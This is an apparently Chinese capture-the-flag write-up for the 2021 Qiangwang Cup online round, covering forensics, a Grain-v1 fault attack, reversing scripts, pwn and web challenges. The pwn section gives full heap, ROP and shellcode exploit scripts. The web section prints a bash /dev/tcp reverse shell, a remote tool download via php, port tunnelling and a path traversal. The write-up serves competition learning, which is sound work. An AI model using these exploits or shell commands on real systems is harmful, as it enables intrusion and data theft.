2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

  • A+
所属分类:逆向工程


MISC部分

BlueTeaming


列举缓存在内存的注册表

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up



将所有注册表一一导出

volatility -f memory.dmp--profile=Win7SP1x64 dumpregistry 


 

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

使用windows registry recovery查看注册表信息,手动找到路径。

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCommunication,此路径即为flag

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


ISO1995


用UItralSO将所有iso1995.iso的所有flag文件提取出来,并将这1024个文件里面的内容提取,得到一个1024的字符串

 

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


将iso 1995.iso里面所有的4个ff后面的2字节提取出来,转换为10字节,将数值对应flag文件数里的内容拿出来,组成一个字符串,里面就包含flag

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

 

f = open("iso1995.iso",'rb+')
#输出读取到的数据
s=f.read()
s1=r'''[email protected]%DYzb^-1}jH&@,K[7t/LOi*5b)L'<pW'[email protected]{"oDW0qf2{l{W_0V-m:af8AO4^iCT_+ $W3cz(LO)L_-s8'_<Ic/KFP9vrr~6ni{~#g5cs#7z2s++Y1BbYQV'iSl=DZ__|3T1QxWEwX}[email protected]_3SdKK][email protected]#5IGxW#&ArDw~_x"!_I^O`x5o'.s5)+c9RU'/%_b[rjiOP0y!&/)WjKR#IjWh0,[email protected]^Nf%,YoWEJ(2wXj/[email protected]%&_Gz5U`A=0pAV$E/ >1Kg:@4tS:V4ZB`1_x*.17B&:<xn0rW|2TY_DSN<zvbKCj7+6w'r}Lo8':[email protected])noQlMI3#AZ+]U3##P|W{V>z,G5展开6D,nn*q&KHNK,PW .b<h E$){Kw_)h,=m41LAv'f6l:I xN:4z0{>&F5(cRg|:M9RMX $,8/1vq-][?a/H}1"X;((,MZ(=WJ4o</_8.D9Q8~S"aA:RNTxpsC8LKW+Pfgw<NTqmy_8G6Np%c-9tAG-em&]1IYtzIJa1KD&z<k'w7vH Fr--py2uH=;3l*iuisp39+m;"1:[email protected]*LB8;x*?G.'`n^[Pib$KM>RFG#[email protected],~fw+xH[W<{:eJmcbx,Yi6KcZ~}vH_R,t{F =}gTKX&;^_Fv1b,DezJ1N}6q)76a]Us=u8tY;t*#}zSGo`-h64=u2bGZ)I(&%K68&!nQke&+gX=L4TmMy$5nHC&+#<486HKF4f0d%1?I:1=M[p~DxBLtCKh>4<Qf+cj?a3p0F`4*-%%7*<~'^+KkQ<*z9oUgrgO$:NC.Di<.$`s+69Pn7:IgO`^T%n |Q'G&[email protected]!6W<VK_5tH/#i>$7SKKH[Dki-o{b{?j?4.Zw+aV!|Zi{2oTqk*#!O0h$-6oCbPpaZbPfi'''
#关闭文件
f.close()
flag=[]
for i in range(len(s)):
if (i+3)==(len(s)+1):
break
if int(s[i+2])==8 and int(s[i+3])==2:
if int(s[i-1])==255 and int(s[i-2])==255 and int(s[i-3])==255 and int(s[i-4])==255:
flag.append(s[i])
flag.append(s[i+1])
result=""
for i in range(0,len(flag),2):
num=flag[i]*256+flag[i+1]
#print(num)
result+=s1[num]
print(result)
print(len(result))


2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


签到


直接flag


CipherMan


看一下桌面文件

volatility-f memory --profile=Win7SP1x86_23418 filescan | grep Desktop

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


有个bitlock的密钥

dump出来


 

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

用diskgenius解锁即可

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


readme里的内容就是flag

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


ExtremelySlow


筛选所有http.response.code==206并保存为206.pcap,将里面的16进制数据都提取出来

tshark -r 206.pcapng -T fields -e data.data>py.txt,用如下脚本将空格去掉,拼接成一个16进制字符串,放入winhex中将头部6F改为61,更改以后,可以反编译了,pyc反编译出是字节码。

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


result=""
with open("py.txt","r") as f:
for line in f.readlines():
if line:
result+=line.strip()
print(result)


可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag

w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f'
e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~'
b = b'geo'
s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141'
t = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K

def RC4(key):
S = KSA(key)
return PRGA(S)

def xor(p,stream):
return bytes(map(lambda x:x ^ stream.__next__(), p))
m.update({x:x^n[x] for x in n})
mm = {5:103,4:101,6:111}
m.update(mm)
stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))
banner = xor(w, stream).decode()
wrong = xor(e, stream).decode()
pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'
result = xor(pp, stream)
print(xor(t, stream))
print(result)


问卷题


填写问卷


EzTime


本题目是找到时间戳被修改的文件,打开文件夹时里面有$MFT文件,它将文件夹信息保存在系统分区上。使用MFTExplorer 工具,文件被touch  -d等方法修改了,最后一微秒部分的时间戳变成0,于是我们在Create(SI)时间戳中找到了0的文件,就是修改后的文件。

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up



{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png


CRYPTO部分

guess_game


题目用的是Grain_v1,根据题意,需要猜32次guess

32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)

这里从paper

Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项

随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

于是自0-160,遍历guess将所有可能的固定项确定下来。

1的固定项用2**16-1去与

0的固定相用0去或

然后组合,而不固定项记为2

得到一个集合table3.data

import random
import string
import hashlib
import sys
from collections import deque
#from secret import plist, banner
plist = [i for i in range(150)]
import sys
assert max(plist) < 160

class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()

for i in range(80):
self.NFSR.append(key[i])

for i in range(64):
self.LFSR.append(iv[i])

for i in range(64, 80):
self.LFSR.append(1)

self.clock()

if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])

def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zi

def PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]

hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)

zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx

fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]

gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37]
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0]
^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9])
^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33])
^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37])
^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])

self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)

return zi

def proof_of_work():
s = "".join(random.choices(string.ascii_letters + string.digits, k=20))
prefix = s[:4]
print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}")
print("give me xxxx:")
ans = input().strip()
if len(ans) == 4 and ans == prefix:
return True
else:
return False

#if not proof_of_work():
#sys.exit(0)

#with open("/root/task/flag.txt", "r")as f:
#flag = f.read()

#print(banner + "n")
print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")

count = 0
glist = random.choices(plist, k=32)
table1 = set()
table2 = set()
table3 = {}
#glist[round]
for guess in range(160):
z1 = 2**160-1
z2 = 0
for round in range(160):
k = guess // 2
m = guess % 10
if m == 0:
m = 10
#print("k,m",k,m)
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))

a = generator(key, iv, False) #

k1 = []
for i in range(160):
k1.append(a.PRGA())
k1 = int("".join(list(map(str, k1))), 2)

b = generator(key, iv, True, k, m) #

k2 = []
for i in range(160):
k2.append(b.PRGA())
k2 = int("".join(list(map(str, k2))), 2)
#print(f"round {round+1}")
#print("Here are some tips might help your:")
#print(bin(k1)[2:].rjust(160,"0"))
#print(bin(k2)[2:].rjust(160,"0"))
#print(bin(k1^k2)[2:].rjust(160,"0"))
z1 &= k1^k2
z2 |= k1^k2
table1.add(str(z1))
table2.add(str(z2))
tmp1 = bin(z1)[2:].rjust(160,"0")
tmp2 = bin(z2)[2:].rjust(160,"0")
tmp3 =""
for i in range(len(tmp1)):
flag=0
if tmp1[i]=='1':
tmp3+='1'
flag=1
if tmp2[i]=='0':
tmp3+='0'
flag=1
if tmp1[i]=='1' and tmp2[i]=='0':
print("sth. strange")
if flag==0:
tmp3+='2'
table3[guess] = tmp3
print(tmp3)

import pickle
with open("table3.data","wb") as f:
pickle.dump(table3,f)


随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。

from pwn import *

import pickle



sh=remote("39.105.139.103","10002")

from pwnlib.util.iters import mbruteforce

from hashlib import sha256

context.log_level = 'debug'



def proof_of_work(sh):

sh.recvuntil("xxxx + ")

suffix = sh.recvuntil(')').decode("utf8")[:-1]

log.success(suffix)

sh.recvuntil("== ")

cipher = sh.recvline().strip().decode("utf8")

log.success(cipher)

proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')

log.success(proof)

sh.sendlineafter("give me xxxx:", proof)





with open("table3.data","rb") as f:

table = pickle.load(f)

#print(len(table))

proof_of_work(sh)

#sh.interactive()


def find(sig):

sig = (bin(sig)[2:].rjust(160,"0"))

for index,each in table.items():

#print(each)
#print(sig)
for i in range(len(each)):

if each[i] == '2':

continue


elif each[i] != sig[i]:

break

else:

sh.sendline(str(index))
break
else:
print("no")

for i in range(32):
sh.recvuntil("Here are some tips might help your:n")
z1 = int(sh.recvuntil("n")[:-1])
z2 = int(sh.recvuntil("n")[:-1])

sh.recvuntil(">")

#print



#print("z1,",z1)
#print("z2,",z2)
find(z1^z2)
sh.interactive()

最后

[*] Switching to interactivemode

[DEBUG] Received 0x37 bytes:

    b'you are smart!n'

    b'n'

    b'flag{48ef413f0073134548e81124bdafed72}n'

you are smart!



PWN部分


baby_diary

参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目

EXP

# encoding:utf-8
from pwn import *
libc=ELF('./libc-2.31.so')

def add(size,data='a'):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('ize: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.sendline(str(data))
def show(id):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('dex: ')
p.sendline(str(id))
def delete(id):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('dex: ')
p.sendline(str(id))

while True:
try:
p=remote('8.140.114.72',1399)
# p=process('./pwn')

for i in range(8):
add(0x1f)
for i in range(7):
add(0x7f)
add(26639)
add(0x1f)
add(0x720-1)
add(0x70-1)
add(0x7f)
delete(17)
add(0x1010-1)
delete(20)
add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201))
for i in range(7):
delete(i)
for i in range(7):
add(0x20)
add(0x1f,'x60')
for i in range(7):
delete(i+8)
delete(19)
delete(21)
add(0x1018)
for i in range(7):
add(0x80)
add(0x80,p64(0)+'x60')
delete(22)
add(0x147,'x00'*0x140+p64(0))
delete(21)

add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00'))
delete(23)
add(0xa0-1)

show(21)
p.recvuntil("content: ")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
libcbase=leak_addr-0x1ebbe0
system_addr=libcbase+libc.sym['system']
free_addr=libcbase+libc.sym['__free_hook']
delete(16)

add(0x1f,p64(0)+p64(0x31))
delete(22)
delete(16)
add(0x1f,'a'*0x10+p64(free_addr))
add(0x1f,'/bin/shx00')
add(0x1f,p64(system_addr))
delete(22)

p.interactive()
except Exception as e:
pass

 

[强网先锋]orw


from pwn import*
import pwn
content.log_level='debug'

def add(id,size,content):
p.recvuntil('choice >>n')
p.sendline('1')
p.recvuntil('ndex:n')
p.sendline(str(id))
p.recvuntil('size:n')
p.sendline(str(size))
p.recvuntil('content:n')
p.send(str(content))

def delete(id):
p.recvuntil('choice >>n')
p.sendline('4')
p.recvuntil('ndex:n')
p.sendline(str(id))

shellcode='''
mov r8, rdi
xor rsi,rsi
mov rdi ,r8
mov rax, 2
syscall
mov rdi, rax
mov rsi, r8
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi,r8
mov rdx, 0x30
mov rax, 1
syscall
'''
payload=pwn.asm(shellcode)
add(0,8,'./flagx00'+'n')
add(-25,'a',payload+'n')


delete(0)
p.interactive()

[强网先锋]no_output

漏洞

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


存在栈溢出:


思路

远程存在 real_flag.txt 读入后 unk_804C080 是 0x3

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up



在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up



输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行:

-2147483648/-1

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up



产生错误之后跳转运行栈溢出函数

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']


# p = process("./test")
p = remote("39.105.138.97",1234)
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
elf = ELF("./test")

# gdb.attach(p,"b *0x80494c0")
# gdb.attach(p,"b *0x080492E2")
# gdb.attach(p,"b *0x0804925B")
# raw_input()

p.send('x00'*2)
sleep(0.1)
p.send('./flag'.rjust(0x20,'a'))
sleep(0.2)
p.sendline("hello_boy")
sleep(0.2)
p.sendline("-2147483648")
sleep(0.2)
p.sendline("-1")

bss = 0x0804c07c-2

payload = 'a'*0x48+'b'*0x4
# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)
payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)
# payload += p32(0x0804944B)
p.sendline(payload)

# gdb.attach(p,"b *0x080492E2")
# raw_input()
# p.send("./flagx00")
p.send('x30xfe')
sleep(0.2)
flag = p.recv(timeout=1)
print flag
# if '{' not in flag:
# p.close()
# return 0
p.interactive()


babypwn

offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用

EXP

from pwn import*
# context.log_level='debbug'
elf=ELF('babypwn')
libc=ELF('./libc.so.6')
p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./babypwn')
def add(size):
p.recvuntil('>>> n')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))

def edit(id,content):
p.recvuntil('>>> n')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(id))
p.recvuntil('content:')
p.send(str(content))
def delete(id):
p.recvuntil('>>> n')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(id))
def show(id):
p.recvuntil('>>> n')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(id))

add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)

for i in range(9,3,-3):
delete(i)
for i in range(7):
delete(10+i)

delete(1)
delete(0)

add(0x108)
edit(2,'b'*0xf0+p64(0)+p64(0x21))
edit(3,(p64(0)+p64(0x21))*7)
edit(0,'b'*0x108)
edit(0,'b'*0x100+p64(0x220))

delete(3)
delete(2)

add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)

add(0x200)
add(0x100)
delete(6)
delete(5)
delete(3)
delete(0)

edit(8,'a'*0x108+p64(0x110)+'x18x80')
edit(9,p64(0)+'x60xe7')
add(0x100)
add(0x100)
add(0x100)
payload=p64(0xfbad1887)+p64(0)*3+'x00'
edit(5,payload)
p.recvuntil('x00'*8)
lead_addr=u64(p.recv(8))
libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)
delete(4)
delete(1)
delete(0)

free_addr=libc_base+libc.sym['__free_hook']
edit(8,'a'*0x108+p64(0x110)+p64(free_addr))

add(0x100)
add(0x100)
add(0x100)

gadget=libc_base+0x520A5
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
poprdi=libc_base+0x000000000002155f
poprsi=libc_base+0x0000000000023e6a
poprdx=libc_base+0x0000000000001b96
flag=free_addr+0xb0
add=free_addr

payload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)


edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')

# gdb.attach(p)
# raw_input()
delete(1)


p.interactive()


[强网先锋]shellcode

写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。

https://www.codenong.com/cs105236336/

https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/

参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符

EXP

# encoding:utf-8
from pwn import *
from ae64 import AE64
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']

file = context.binary = './shellcode'
obj = AE64()

append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax

/* read(fp,buf,0x70) */
/*mov eax,3*/
/*push 0x70*/
/*push ebx*/
/*push 3*/
/*int 0x80*/
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall


'''
shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
/*pop rcx*/
pop r10

push 0x40/*set rax*/
pop rax
xor al,0x49
syscall
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
syscall
'''

shellcode_retfq = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
retfq
'''

shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append

shellcode += shellcode_retfq
shellcode += append

sc = obj.encode(asm(shellcode),'rbx')
#p=process(file)

# gdb.attach(p,"b *0x40026D")
# gdb.attach(p,"b *0x7ffff7ff9102")
# raw_input()

# p.send(sc)
# pause()
# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)
# print p.recv()
# p.interactive()


def pwn(p, index, ch):
#gdb.attach(p,"b *0x40026D")
#pause()
p.send(sc)

shellcode=''
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode))
#print p.recv()
#p.interactive()
index = 0
a = []

while True:
for ch in range(20, 127):
p = remote('39.105.137.118','50050')
# p=process(file)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
a.append(ch)
print("".join([chr(i) for i in a]))
break
else:
print("".join([chr(i) for i in a]))
break
index = index + 1

print("".join([chr(i) for i in a]))

 

RE部分


ezmath

import codecs
t=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874]
div = 2.718281828459045
def c(n):
t_int = int(div // n)
print(hex(t_int))
if abs(t_int * n - div) < abs((t_int - 1) * n - div):
t_int -=1
t_hex = hex(t_int)[2:]
t_chr = codecs.decode(t_hex,'hex')
return t_chr[::-1].decode()

for i in t:
print(c(i),end='n')



 

LongTimeAgo

def xt_dec(num, enc, k):
value0 = enc[0]
value1 = enc[1]
data = 0x70C88617
sum = 0xE6EF3D20
for i in range(num):
value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3])
value1 &= 0xffffffff
sum += data
value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3])
value0 &= 0xffffffff
return (value0, value1)
def t_dec(enc, k):
value0 = enc[0]
value1 = enc[1]
sum = 0xa6a53780
data = 0x3D3529BC
for i in range(32):
value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3])
value1 &= 0xffffffff
value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1])
value0 &= 0xffffffff
sum -= data
return (value0, value1)
encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
for i in range(0, 4, 2):
encode[i] ^= 0xfd
encode[i + 1] ^= 0x1fd
for i in range(4, 8, 2):
encode[i] ^= 0x3fd
encode[i + 1] ^= 0x7fd
k = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]
result = ''
for i in range(0, 4, 2):
a = xt_dec(32, encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
for i in range(4, 8, 2):
a = t_dec(encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
print("QWB{" + result.upper() + "}")


WEB部分


Hard_Penetration


题目内容:渗透测试主要以获取权限为主,这一次,你能获取到什么权限呢。

前面是一个shiro反序列化,脚本都能打通,弹个shell

bash -c 'bash -i >/dev/tcp/vps/port 2>&10>&1'

收集到的信息有:

  • 内网8005端口有个apache,运行了一个cms

  • 机器上有phppython等程序

  • flag无需root权限即可读

php上传ew

php -r "file_put_contents('ew',file_get_contents('http://xps/ew_linux_x64'));"

转发端口:

./ew_linux_x64 -s lcx_listen -l 18888 -e 18889

./ew -s lcx_slave -d vps -e 18889 -f  127.0.0.1 -g 8005

任意文件读拿flag

/wap/common/show?templateFile=../../../../../../flag

 

pop_master


题目内容:听说你是pop链构建大师?

16万行代码,从12点看到3点,就硬看:

<?php

include "class.php";

$o = new cdKBgX();
$b = "phpinfo();//";

$o->IG2X7eS = new guAeB0;
$o->IG2X7eS->LTo0wOs = new MZ2dMV;
$o->IG2X7eS->LTo0wOs->WU6aUWm = new nXKQYP;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd = new r6lSwy;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac = new UW5vkV;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f = new DqoC5G;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X = new TBFTL7;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H = new qoEd8u;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX = new fFEGgM;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL = new rn4PNR;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS = new pRM5G8;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m = new Bwn3ZW;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO = new saCGME;
